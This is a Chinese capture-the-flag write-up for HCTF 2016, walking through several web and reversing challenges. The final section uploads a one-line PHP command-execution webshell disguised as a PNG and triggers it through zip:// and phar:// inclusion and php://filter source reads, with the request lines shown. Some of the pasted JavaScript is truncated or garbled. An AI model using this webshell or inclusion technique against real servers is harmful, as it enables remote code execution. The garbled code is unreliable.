




hctf 2016 write up

原创

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订阅专栏

今年的hctf与几个哥们儿一起组队玩了一下。但是成绩比较惨淡。但是还是把自己的writeup 写一下。 以做纪念。

签到题

签到的题目是一个pcap流量包。在里边follow tcp stream，可以看到以下的内容。

```
ls
function.py
secret
<ng/welcome/secret/important_secret/very_important$ cd se
cd secret
bash: cd: secret: Not a directory
<ng/welcome/secret/important_secret/very_important$ cat se
cat secret
Congratulations on your being cheated.<ng/welcome/secret/important_secret/very_important$ ls
ls
function.py
secret
<ng/welcome/secret/important_secret/very_important$ cd ..
cd ..
<valtest/something/welcome/secret/important_secret$ cd ..
cd ..
www@cola:/home/wwwroot/default/evaltest/something/welcome/secret$ cd not
cd not
</something/welcome/secret$ cd not_important_secret/
<est/something/welcome/secret/not_important_secret$ ls
ls
trash
<est/something/welcome/secret/not_important_secret$ cd tr
cd trash/
<mething/welcome/secret/not_important_secret/trash$ ls
ls
flag
<mething/welcome/secret/not_important_secret/trash$ cat fl
cat flag
mbZoEMrhA00WWeugNjqNw3U6Tt2C+rwpqpbdwRZgfQI3MAh0sZ9qjnziUKkV90XhA0kIs/OXoYVw5uQDjVvgNA==<mething/
welcome/secret/not_important_secret/trash$ ls
ls
flag
<mething/welcome/secret/not_important_secret/trash$ exit
exit
exit
```

可以看到base64编码的 `mbZoEMrhA00WWeugNjqNw3U6Tt2C+rwpqpbdwRZgfQI3MAh0sZ9qjnziUKkV90XhA0kIs/OXoYVw5uQDjVvgNA==`
还有一个加密的function.py

```

#!/usr/bin/env python
# coding:utf-8
__author__ = 'Aklis'

from Crypto import Random
from Crypto.Cipher import AES

import sys
import base64

def decrypt(encrypted, passphrase):
    IV = encrypted[:16]
    aes = AES.new(passphrase, AES.MODE_CBC, IV)
    return aes.decrypt(encrypted[16:])

def encrypt(message, passphrase):
    IV = message[:16]
    length = 16
    count = len(message)
    padding = length - (count % length)
    message = message + '\0' * padding
    aes = AES.new(passphrase, AES.MODE_CBC, IV)
    return aes.encrypt(message)

IV = 'YUFHJKVWEASDGQDH'

message = IV + 'flag is hctf{xxxxxxxxxxxxxxxx}'

print len(message)

example = encrypt(message, 'Qq4wdrhhyEWe4qBF')
print example
example = decrypt(example, 'Qq4wdrhhyEWe4qBF')
print example

```

解码之后是 `flag is hctf{n0w_U_w111_n0t_f1nd_me}`

2099年的flag

题目是需要os99系统，那么就找一个ios的User-Agent，将其修改为99的系统即可。

The screenshot shows a web browser's developer tools interface. On the left, the 'Raw' tab displays the details of a POST request to '2099.hctf.io'. The request headers include a User-Agent string for an iPhone OS 99.0, and the body contains a 'hint=2099' parameter. On the right, the 'Render' tab shows the HTML response from the server. The response is an HTTP 200 OK with headers indicating it's from Apache/2.4.10 (Debian). The HTML body contains a message: 'Welcome to HCTF2016' and a paragraph stating 'ios99 can get flag(Maybe you can easily get the flag in 2099)'. A comment at the bottom of the HTML says '<!-- flag not in html... -->'. The 'flag' value in the response is highlighted in yellow in the original image.

RESTFUL

[restful 中文维基 介绍](#)

简单来说就是用get/post/put/delete的请求头来作为操作符，url作为唯一的资源的一种web架构。

本题解法也简单，只要稍微了解一下restful就可以正确提交

The screenshot shows a web browser's developer tools interface. On the left, the 'Request' tab displays the details of a PUT request to 'index.php/money/12864' on 'jinja.hctf.io'. The request headers include a User-Agent string for a Macintosh, and the body contains a 'money' parameter. On the right, the 'Response' tab shows the JSON response from the server. The response is an HTTP 200 OK with headers indicating it's from Apache/2.4.10 (Debian). The JSON body contains a message: 'Your flag is hctf{Do_you_know_12450?} web dog!'. The 'flag' value in the response is highlighted in yellow in the original image.

giligili

这是一道js分析题。做这道题的时候有两个参考

1. [LoRexxar 的博客](#)

2. [scf writeup](#)

下边贴出自己的分析代码，与第一个博客一样，是可以直接拖进控制台调试的。

```
/*
 I've wrapped Makoto Matsumoto and Takuji Nishimura's code in a namespace
 so it's better encapsulated. Now you can have multiple random number generators
 and they won't stomp all over eachother's state.

 If you want to use this as a substitute for Math.random(), use the random()
 method like so:

 var m = new MersenneTwister();
 var randomNumber = m.random();

 You can also call the other genrand_(foo)() methods on the instance.
 If you want to use a specific seed in order to get a repeatable random
 sequence, pass an integer into the constructor:
 var m = new MersenneTwister(123);
 and that will always produce the same random sequence.
 Sean McCullough (banksean@gmail.com)
*/
/*
 A C-program for MT19937, with initialization improved 2002/1/26.
 Coded by Takuji Nishimura and Makoto Matsumoto.

 Before using, initialize the state by using init_genrand(seed)
 or init_by_array(init_key, key_length).

 Copyright (C) 1997 - 2002, Makoto Matsumoto and Takuji Nishimura,
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 EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
 PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
 PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
 LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
 NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
```

SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

Any feedback is very welcome.

<http://www.math.sci.hiroshima-u.ac.jp/~m-mat/MT/ent.html>

email: m-mat @ math.sci.hiroshima-u.ac.jp (remove space)

```
*/
var MersenneTwister = function(seed) {
  if (seed == undefined) {
    seed = new Date().getTime();
  }
  /* Period parameters */
  this.N = 624;
  this.M = 397;
  this.MATRIX_A = 0x9908b0df; /* constant vector a */
  this.UPPER_MASK = 0x80000000; /* most significant w-r bits */
  this.LOWER_MASK = 0x7fffffff; /* least significant r bits */

  this.mt = new Array(this.N); /* the array for the state vector */
  this.mti=this.N+1; /* mti==N+1 means mt[N] is not initialized */
  this.init_genrand(seed);
}

/* Initializes mt[N] with a seed */
MersenneTwister.prototype.init_genrand = function(s) {
  this.mt[0] = s >>> 0;
  for (this.mti=1; this.mti<this.N; this.mti++) {
    var s = this.mt[this.mti-1] ^ (this.mt[this.mti-1] >>> 30);
    this.mt[this.mti] = (((s & 0xffff0000) >>> 16) * 1812433253) << 16) + (s & 0x0000ffff) * 181243325
+ this.mti;
    /* See Knuth TAOCP Vol2, 3rd Ed. P.106 for multiplier. */
    /* In the previous versions, MSBs of the seed affect */
    /* only MSBs of the array mt[]. */
    /* 2002/01/09 modified by Makoto Matsumoto */
    this.mt[this.mti] >>>= 0;
    /* for >32 bit machines */
  }
}

/* Initialize by an array with array-length */
/* init_key is the array for initializing keys */
/* key_length is its length */
/* slight change for C++, 2004/2/26 */
MersenneTwister.prototype.init_by_array = function(init_key, key_length) {
  var i, j, k;
  this.init_genrand(19650218);
  i=1; j=0;
  k = (this.N>key_length ? this.N : key_length);
  for (; k; k--) {
    var s = this.mt[i-1] ^ (this.mt[i-1] >>> 30)
    this.mt[i] = (this.mt[i] ^ (((s & 0xffff0000) >>> 16) * 1664525) << 16) + ((s & 0x0000ffff) * 166
+ init_key[j] + j; /* non linear */
    this.mt[i] >>>= 0; /* for WORDSIZE > 32 machines */
    i++; j++;
    if (i>=this.N) { this.mt[0] = this.mt[this.N-1]; i=1; }
    if (j>=key_length) j=0;
  }
  for (k=this.N-1; k; k--) {
    var s = this.mt[i-1] ^ (this.mt[i-1] >>> 30);
    this.mt[i] = (this.mt[i] ^ (((s & 0xffff0000) >>> 16) * 1664525) << 16) + ((s & 0x0000ffff) * 166
+ init_key[j] + j; /* non linear */
    this.mt[i] >>>= 0; /* for WORDSIZE > 32 machines */
    i++; j++;
    if (i>=this.N) { this.mt[0] = this.mt[this.N-1]; i=1; }
    if (j>=key_length) j=0;
  }
}
```

```

    this.mt[i] = (this.mt[i] * (((((S & 0xffff0000) >>> 10) + 1566083941) <<< 10) + (S & 0x0000ffff) * 1
    - i; /* non linear */
    this.mt[i] >>= 0; /* for WORDSIZE > 32 machines */
    i++;
    if (i>=this.N) { this.mt[0] = this.mt[this.N-1]; i=1; }
}
this.mt[0] = 0x80000000; /* MSB is 1; assuring non-zero initial array */
}

/* generates a random number on [0,0xffffffff]-interval */
MersenneTwister.prototype.genrand_int32 = function() {
    var y;
    var mag01 = new Array(0x0, this.MATRIX_A);
    /* mag01[x] = x * MATRIX_A  for x=0,1 */
    if (this.mti >= this.N) { /* generate N words at one time */
        var kk;
        if (this.mti == this.N+1) /* if init_genrand() has not been called, */
            this.init_genrand(5489); /* a default initial seed is used */
        for (kk=0;kk<this.N-this.M;kk++) {
            y = (this.mt[kk]&this.UPPER_MASK)|(this.mt[kk+1]&this.LOWER_MASK);
            this.mt[kk] = this.mt[kk+this.M] ^ (y >>> 1) ^ mag01[y & 0x1];
        }
        for (;kk<this.N-1;kk++) {
            y = (this.mt[kk]&this.UPPER_MASK)|(this.mt[kk+1]&this.LOWER_MASK);
            this.mt[kk] = this.mt[kk+(this.M-this.N)] ^ (y >>> 1) ^ mag01[y & 0x1];
        }
        y = (this.mt[this.N-1]&this.UPPER_MASK)|(this.mt[0]&this.LOWER_MASK);
        this.mt[this.N-1] = this.mt[this.M-1] ^ (y >>> 1) ^ mag01[y & 0x1];
        this.mti = 0;
    }
    y = this.mt[this.mti++];
    /* Tempering */
    y ^= (y >>> 11);
    y ^= (y << 7) & 0x9d2c5680;
    y ^= (y << 15) & 0xefc60000;
    y ^= (y >>> 18);
    return y >>> 0;
}

/* generates a random number on [0,0x7fffffff]-interval */
MersenneTwister.prototype.genrand_int31 = function() {
    return (this.genrand_int32())>>>1;
}

/* generates a random number on [0,1]-real-interval */
MersenneTwister.prototype.genrand_real1 = function() {
    return this.genrand_int32()*(1.0/4294967295.0);
    /* divided by 2^32-1 */
}

/* generates a random number on [0,1)-real-interval */
MersenneTwister.prototype.random = function() {
    return this.genrand_int32()*(1.0/4294967296.0);
    /* divided by 2^32 */
}

/* generates a random number on (0,1)-real-interval */
MersenneTwister.prototype.genrand_real3 = function() {
    return (this.genrand_int32() + 0.5)*(1.0/4294967296.0);
    /* divided by 2^32 */
}

```

```

/* generates a random number on [0,1) with 53-bit resolution*/
MersenneTwister.prototype.genrand_res53 = function() {
  var a=this.genrand_int32()>>>5, b=this.genrand_int32()>>>6;
  return(a*67108864.0+b)*(1.0/9007199254740992.0);
}
/*
CryptoJS v3.1.2
code.google.com/p/crypto-js
(c) 2009-2013 by Jeff Mott. All rights reserved.
code.google.com/p/crypto-js/wiki/License
*/
var CryptoJS=CryptoJS||function(e,m){var p={},j=p.lib={},l=function(){},f=j.Base={extend:function(a){l.n=j.WordArray=f.extend({init:function(a,c){a=this.words=a||[];this.sigBytes=c!=m?c:4*a.length},toString:32-8*(c%4);a.length=e.ceil(c/4)},clone:function(){var a=f.clone.call(this);a.words=this.words.slice(0);2),16)<<24-4*(d%8)};return new n.init(b,c/2)}},g=b.Latin1={stringify:function(a){var c=a.words;a=a.sigByk=j.BufferedBlockAlgorithm=f.extend({reset:function(){this._data=new n.init;this._nDataBytes=0},_append a._data=this._data.clone();return a},_minBufferSize:0)};j.Hasher=k.extend({cfg:f.extend(),init:function(f)).finalize(b)}));var s=p.algo={};return p}(Math);
(function){var e=CryptoJS,m=e.lib,p=m.WordArray,j=m.Hasher,l=[],m=e.algo.SHA1=j.extend({_doReset:func k)-899497514);j=k;k=e;e=g<<30|g>>>2;g=h;h=c}b[0]=b[0]+h|0;b[1]=b[1]+g|0;b[2]=b[2]+e|0;b[3]=b[3]+k|0;b[4
/* These real versions are due to Isaku Wada, 2002/01/09 added */
Array.prototype.includes||(Array.prototype.includes=function(a){"use strict";var b=Object(this),c=parse var _ = { 0x4c19cff: "random", 0x4728122: "charCodeAt", 0x2138878: "substring", 0x3ca9c7b: "toString",
console.log(_
//var _ = { 0x4c19cff: "random", 0x4728122: "charCodeAt", 0x2138878: "substring", 0x3ca9c7b:
var $ = [ 0x4c19cff, 0x3cfbd6c, 0xb3f970, 0x4b9257a, 0x1409cc7, 0x46e990e, 0x2138878, 0x1e1049, 0x164
console.log($)
var a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z;
function check() {
  //var answer = document.getElementById("message").value;
  var answer = "hctf{wh3r3_iz_y0ur_neee3eed??}";
  var correct = (function() {
    try {
      h = new MersenneTwister(parseInt(btoa(answer[_[$[6]]](0, 4)), 32));
      e = h[_[$[""+ +[]]]]()*(""+{})[_[$[0x4728122]]](0xc); for(var _1=0; _1<h.mti; _1++) { e ^= h
      l = new MersenneTwister(e), v = true;
      l.random(); l.random(); l.random();
      o = answer.split("_");
      i = l.mt[~(h.random()*$[0x1f])%0xff];
      // 在这里曾经耽误了很长时间，一直以为i应该是正数，因为如果i是负数，下边的s[0]就会是 "0x-xxxxxx"这i
      s = ["0x" + i[_[$[$.length/2]]](0x10), "0x" + e[_[$[$.length/2]]](0x20).split("-")[1];
      //console.log(typeof(s[0]))
      // console.log((this[_[$[42]]](_[$[31]](o[1])) ^ s[0]))
      e -= (this[_[$[42]]](_[$[31]](o[1])) ^ s[0]); if (-e != $[21]) return false;

      // console.log("$[22]:" + $[22])
      // console.log(e ^ -$[22] ^ s[1])
      //console.log("chars:" + typeof(this[_[$[42]]](_[$[31]](o[2]))))
      e ^= (this[_[$[42]]](_[$[31]](o[2])) ^ s[1]); console.log(-e);if (-e != $[22]) return fal
      //到这里就可以将 o[1],o[2]两个值算出来。

      t = new MersenneTwister(Math.sqrt(-e));
      h.random();
      a = l.random();
      t.random();
      y = [ 0xb3f970, 0x4b9257a, 0x46e990e ].map(function(i) { return $_[$[40]](i)+ +1+ -1+ +
      o[0] = o[0].substring(5); o[3] = o[3].substring(0, o[3].length - 1);

```



```

// 把 hctf{ 与 } 还原
u = ~~~~~(a * i);
console.log("a:"+a);
console.log("i:"+i);
if (o[0].length > 5) return false;
a = parseInt(_[$[23]]("1", Math.max(o[0].length, o[3].length)), 3) ^ eval(_[$[31]](o[0])
// 8位

// 以3进制转换 o[0],o[1]中最长的与 o[1]做异或
r = (h.random() * l.random() * t.random()) / (h.random() * l.random() * t.random());
e ^= ~r;
r = (h.random() / l.random() / t.random()) / (h.random() * l.random() * t.random());
e ^= ~r;
a += _[$[31]](o[3].substring(o[3].length - 2)).split("x")[1];
// 取 0xafef 0x后边的数
if (parseInt(a.split("84")[1], $.length/2) != 0x4439feb) return false;
d = parseInt(a, 16) == (Math.pow(2, 16) + -5 + "") + o[3].charCodeAt(o[3].length - 3).toStr
// 这里不是0x, 而可能是任何一个十六进制在[0-9]之间的字符, 所以可以考虑的范围并不是所有26个字符
// d=parseInt(a,16) == "65531" + 65 + 53846 + "2015"
// 即parseInt(a, 16) == 6553165538462015
i = 0xffff;
n = (p = (f = _[$[23]](o[3].charAt(o[3].length - 4), 3)) == o[3].substring(1, 4));
g = 3;
t = _[$[23]](o[3].charAt(3), 3) == o[3].substring(5, 8) && o[3].charCodeAt(1) * o[0].char
// o[3]的第4位重复3遍与 o[3]的 5,6,7 相等, 分别是 e, w
h = ((31249*g) & i).toString(16); // h的值是6e33

i = _[$[31]](o[3].split(f).join("").substring(0, 2)).split("x")[1];
s = i == h;
return (p & t & s & d) === 1 || (p & t & s & d) === true;
} catch (e) {
    console.log("gg");
    return false;
}
})();

//document.getElementById("message").placeholder = correct ? "correct" : "wrong";
if (correct) {
    alert("Congratulations! you got it!");
} else {
    alert("Sorry, you are wrong...");
}
};
check();

```

兵者多诡

这题并不难，考点的是php的伪协议。

首先是 `php://filter`

通过 `http://pics.htcf.io/home.php?fp=php://filter/convert.base64-encode/resource=upload/function` 等可以读出 `upload.php` 与 `function.php`。但是在请求 `flag.txt` 时有问题了，经检查是因为 `../` 字符被检查到了之后，就是返回 `no no no`。

- `upload.php`

可以看出，除了 `size/type` 之外并没有检查其他的。所以可以上传任意类型的文件，只要修改请求头即可。

```
<?php
```

```

include 'function.php';
if(isset($_POST['submit']) && !empty($_FILES['image']['tmp_name']))
{
$name = $_FILES['image']['tmp_name'];
$type = $_FILES['image']['type'];
$size = $_FILES['image']['size'];

if(!is_uploaded_file($name))
{
?>
<div class="alert alert-danger" role="alert">图片上传失败,请重新上传</div>
<?php
exit;
}

if($type !== 'image/png')
{
?>
<div class="alert alert-danger" role="alert">只能上传PNG图片</div>
<?php
exit;
}

if($size > 10240)
{
?>
<div class="alert alert-danger" role="alert">图片大小超过10KB</div>
<?php
exit;
}

$imagekey = create_imagekey();
move_uploaded_file($name,"uploads/$imagekey.png");

echo "<script>location.href='?fp=show&imagekey=$imagekey'</script>";
}
?>

```

第二个协议是 `phar://` 与 `zip://` 两个伪协议都是用来处理zip压缩文件的。如用zip的话，可以这样写。

- 创建一个php文件，内容为: `<?php $_GET['param1']($_GET['param2']); ?>`
- `zip shell.zip shell.php` 将php文件压缩。

上传之后拿到生成的文件名，请求如下。可以得到路径。

The image shows a browser's developer tools with two panels: 'request' and 'response'.

request

- Raw: GET /home.php?fp=zip://uploads/2bfb7df7eda11d19d0c588ab00650e c5025bc3a7.png%23shell¶m1=system¶m2=pwd HTTP/1.1
- Host: pics.htcf.io
- User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
- Accept-Encoding: gzip, deflate
- Referer: http://pics.htcf.io/home.php?fp=upload
- Cookie: PHPSESSID=lee0q78cu6ar9gg4o916pq6pv7
- Connection: close
- Upgrade-Insecure-Requests: 1

response

- Raw: </div>
- Render: <div class="jumbotron">
- <h1>Pictures Storage</h1>
- <p class="lead">在这里上传您的图片,我们将为您保存</p>
- <form action="?fp=upload" method="POST" id="form" enctype="multipart/form-data">
- <input type="file" id="image" name="image" class="btn btn-lg btn-success" style="margin-left: auto; margin-right: auto;">
-


```

<input type="submit" id="submit"
name="submit" class="btn btn-lg
btn-success" role="button" value="上传图片">
</form>
</div>
</div>
</body>
</html>
/var/www/html

```

如果用 `phar://` 协议，可以php的文件如下：`<?php print_r(scandir('/var/www/')) ?>` 并压缩为zip文件。

- 上传之后用phar://请求:

The screenshot displays the network tab of a browser's developer tools, split into 'request' and 'response' sections.

Request:

```

GET
/home.php?fp=phar://uploads/1bfff0b1db938b9d886cf04
4327daf2abcf49a3b.png/phar HTTP/1.1
Host: pics.htcf.io
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X
10.11; rv:49.0) Gecko/20100101 Firefox/49.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0
.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://pics.htcf.io/home.php?fp=upload
Cookie: PHPSESSID=lee0q78cu6ar9gg4o916pq6pv7
Connection: close
Upgrade-Insecure-Requests: 1

```

Response:

```

Storage</h1>
<p
class="lead">在这里上传您的图片,我们将为您保存</p>
<form
action="?fp=upload" method="POST" id="form"
enctype="multipart/form-data">
<input
type="file" id="image" name="image" class="btn
btn-lg btn-success" style="margin-left: auto;
margin-right: auto;">
<br>
<input
type="submit" id="submit" name="submit"
class="btn btn-lg btn-success" role="button"
value="上传图片">
</form>
</div>
</div>
</body>
</html>
Array
(
    [0] => .
    [1] => ..
    [2] => This_is_F1a9.php
    [3] => html
)

```

- 最后 `http://pics.htcf.io/home.php?fp=php://filter/convert.base64-encode/resource=/var/www/This_is_F1a9` 来得到flag